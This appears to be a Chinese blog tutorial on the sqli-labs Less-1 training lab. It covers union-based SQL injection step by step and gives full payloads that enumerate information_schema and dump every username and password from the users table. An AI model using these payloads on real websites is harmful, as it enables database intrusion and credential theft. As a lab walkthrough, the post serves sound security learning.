sqli-libs less1(union 字符注入)

打开后,提示输入id并赋值在这里插入图片描述

1、寻找注入点

输入?id=1返回数据,输入?id=1’报错,说明存在sql注入漏洞
在这里插入图片描述
在这里插入图片描述
根据报错信息,猜想输入参数的值被放到一对单引号之间。

猜测后台源码中存在类似于如下的数据库查询语句(可查看后台源码证实猜测):

SELECT * FROM users WHERE id='$id' LIMIT 0,1

2、order by 查询该数据表中的字段数量

输入?id=1’ order by 3 --+ 正常;
输入?id=1’ order by 4 --+ 报错,说明该数据表中字段数为3。

在这里插入图片描述
在这里插入图片描述
3、爆破数据库
测试出一共有几列数据之后,改变语句:?id=-1 union select 1,2,3 --+
语句解析:

  • id = -1 --联合查询后两个查询结构合并输出。但是这个结果只能显示第一个,因此需要让前一个查询结果为空值。
  • union --联合查询
  • select 1,2,3 – 利用1,2,3 测试出数据返回的数据在页面的位置
    可以看到只有2,3在页面出现,因此可以使用2,3这两个位置。
    构造字符串查询数据库名、表名、列名、字段信息。
    从information_schema中获取所有的数据库名:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述
从information_schema中获取security所有表名:

?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security') --+

在这里插入图片描述
从 information_schema中获取列

?id=-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='users'),3 --+

在这里插入图片描述
查询所有用户名和密码
?id=-1’ union select 1,(select group_concat(username) from security.users ), (select group_concat(password) from security.users) --+
在这里插入图片描述
爆破成功!
知识点:
(1)在MySQL 5.0版本之后,MySQL默认在数据库中存放一个“information_schema”的数据库,在该库中,我们需要记住三个表名,分别是schemata、tables和colums。

  • schemata表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为schema_name。
  • tables表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为table_schema和table_name。
  • columns表存储该用户创建的所有数据库的库名、表名和字段名,我们需要记住该表中记录数据库库名、表名和字段名的字段名为table_schema、table_name 和column_name.
    (2)group_concat函数是典型的字符串连接函数。group_concat(table_name)表示把table_name字段的值打印在一行,逗号分隔(默认)。
    (3)–+中,“–”是SQL查询语句中的注释符,“+”在URL中表示空格。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值